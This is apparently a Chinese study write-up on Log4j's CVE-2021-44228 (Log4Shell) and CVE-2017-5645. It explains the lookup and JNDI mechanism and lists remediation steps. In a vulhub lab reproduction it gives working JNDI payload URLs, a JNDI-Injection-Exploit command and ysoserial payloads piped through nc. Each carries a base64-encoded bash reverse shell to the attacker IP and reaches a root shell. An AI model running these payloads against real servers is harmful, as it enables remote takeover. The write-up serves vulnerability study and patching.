声明:学习过程参考了同站的B1g0rang大佬的文章
Web网络安全-----Log4j高危漏洞原理及修复(B1g0rang)
CVE-2021-44228 RCE漏洞
Log4j 即 log for java(java的日志) ,是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
漏洞产生原因
log4j2 在日志输出中,一旦在log字符串中检测到${},就会调用lookup查询尝试解析其中的字符串,如果未对字符合法性进行严格的限制,攻击者构造恶意的URL地址让其解析,利用 JNDI 协议加载的远程恶意脚本,从而造成RCE。
Lookups机制
“ Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. ”
以上內容复制于log4j2的官方文档lookup - Office Site。其清晰地说明了lookups的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。(lookups是实现StrLookup接口的特定类型的插件)lookups给开发者提供了更加方便的后端开发过程中的调试效率
lookups可以通过 {$xx} 的方式来执行一些命令和操作,log4j支持在日志中使用该表达式执行命令。下面是log4j使用lookup的简单示例,可以打印系统os信息。
public void test() {
log.info("{$java:os}");
}
这样就能理解,为什么常见的Log4j漏洞的playload是以下格式的:
${jndi:ldap}
${jndi:ldaps}
${jndi:rmi}
${jndi:iiop}
${jndi:iiopname}
${jndi:corbaname}
${jndi:dns}
${jndi:nis}
观察上面的palyload就能发现,每个playload里面都有jndi
JNDI简介
JNDI(Java Naming and Directory Interface–Java)命名和目录接口是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。
JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。
通过上面可以知道,JNDI可以实现对LADP、RMI等服务的操作,所以攻击者只需要构建一个LADP或RMI远程服务即可,让远程服务器返回恶意class
LADP
LDAP(Lightweight Directory Access Protocol):顾名思义,一个轻量级的目录访问协议,用来访问目录服务(Directory Service)。
那么LDAP协议作为一个访问协议,它在技术架构的表现上是一个CS架构模式:以IDaaS为例,IDaaS产品要解决的三个问题,都是会作为LDAP Client去访问LDAP Server(这里LDAP Server和Directory Service等同了),来实现功能
RMI
RMI(即Remote Method Invocation)是Java平台一个分布式应用程序的应用编程接口(API),它是Java Remote Method Protocol(JRMP)的实现,这个协议代表了Java语言特有的远程过程调用(RPC)系统。
RMI允许一个对象通过一个网络在另外一个虚拟机上被调用,这些对象称之为远程对象
在了解了上面这些东西后,画了一个图帮助理解
攻击者定义一个接口,在接口中定义数据库操作等。
攻击者携带lookup支持表达式进行请求服务器。
服务器通过log4j打印出请求信息。
log4j打印完成后会执行JNDI操作。
这样就解释了漏洞的产生,极其高危!
图解
Log4j漏洞修复
1.升级到受影响版本的修复版:
(1)对于Apache Log4j 2.x 用户,建议升级到2.17.0版本以上。这些版本修复了漏洞,并包含其他安全增强措施。
(2)对于Apache Log4j 1.x 用户,目前官方并未针对1.x版本提供官方修复版。建议升级到Log4j 2.x版本,或者考虑使用其他日志记录库。
2.阻止使用JNDI来加载远程资源:
如果您无法立即升级到修复版本,可以通过在Log4j配置中禁用使用JNDI来加载远程资源来减少风险。可以通过在log4j2.xml文件中将JndiLookup类从配置中移除或设置为安全的FallbackJndiLookup或DummyLookup来实现。
3.启用安全策略:
为了进一步减少潜在的风险,应该考虑启用安全策略来限制代码执行。可以通过在log4j2.xml文件中添加安全策略配置来实现。
4.清除受影响系统的缓存:
Log4j有一个缓存机制,可以存储已解析的XML配置。为了确保新的配置生效,您可能需要清除缓存。可以通过清除 Log4j 的上下文选择器缓存来实现。
除了以上方法外,了解并关注官方发布的漏洞修复和更新是非常重要的,因为该漏洞的细节和修复程度可能会发生变化。推荐遵循安全最佳实践,并随时关注官方漏洞通告和安全更新。
影响范围
Apache Log4j 2.x<=2.14.1
漏洞复现
系统环境
攻击机IP:192.168.200.131
靶机IP:192.168.200.142
用docker搭的,vulhub的CVE-2021-44228漏洞,主页是solr——搜索应用服务器
测试漏洞是否存在
漏洞点
有一个传入参数的点
http://192.168.200.142:8983/solr/admin/cores?action=
使用jndi传入参数,使用dnslog测试是否存在漏洞
dnslog有返回值即存在漏洞
http://192.168.200.142:8983/solr/admin/cores?action=${jndi:ldap://oi1i0w.dnslog.cn}
getshell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具利用
项目地址:welk1n/JNDI-Injection-Exploit · GitHub
需要在攻击机运行,同时攻击机监听
利用payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.131"
base64编码是bash命令:
bash -i >& /dev/tcp/192.168.200.131/6666 0>&1
-A:是攻击机IP
运行工具,返回rmi和ldap的利用代码
使用jdk 1.8的ldap代码,将代码构造参数传参,拼接给action参数
ldap://192.168.200.131:1389/bmltud
${jndi:ldap://192.168.200.131:1389/bmltud}
http://192.168.200.142:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/bmltud}
成功获取root反弹shell
CVE-2017-5645 反序列化漏洞
漏洞原理
以TCP为例,传入的inputstream,没有过滤被包装为ObjectInputStream,传给logEvents后执行了readObject()进行反序列化,造成了漏洞。
漏洞复现
用docker搭建,vulhub拉取资源
搭建完成后,用nmap扫一下端口是否开放
open就表示正常,不是web服务
使用工具ysoserial进行利用
需要java8环境
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.200.142 4712
进入容器查看是否执行成功,成功生成文件
docker exec -it d9daf7ea881d /bin/bash
反弹shell
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.200.142 4712
base64编码:是bash命令的编码:bash -i >& /dev/tcp/192.168.200.131/6666 0>&1
成功获取root权限的shell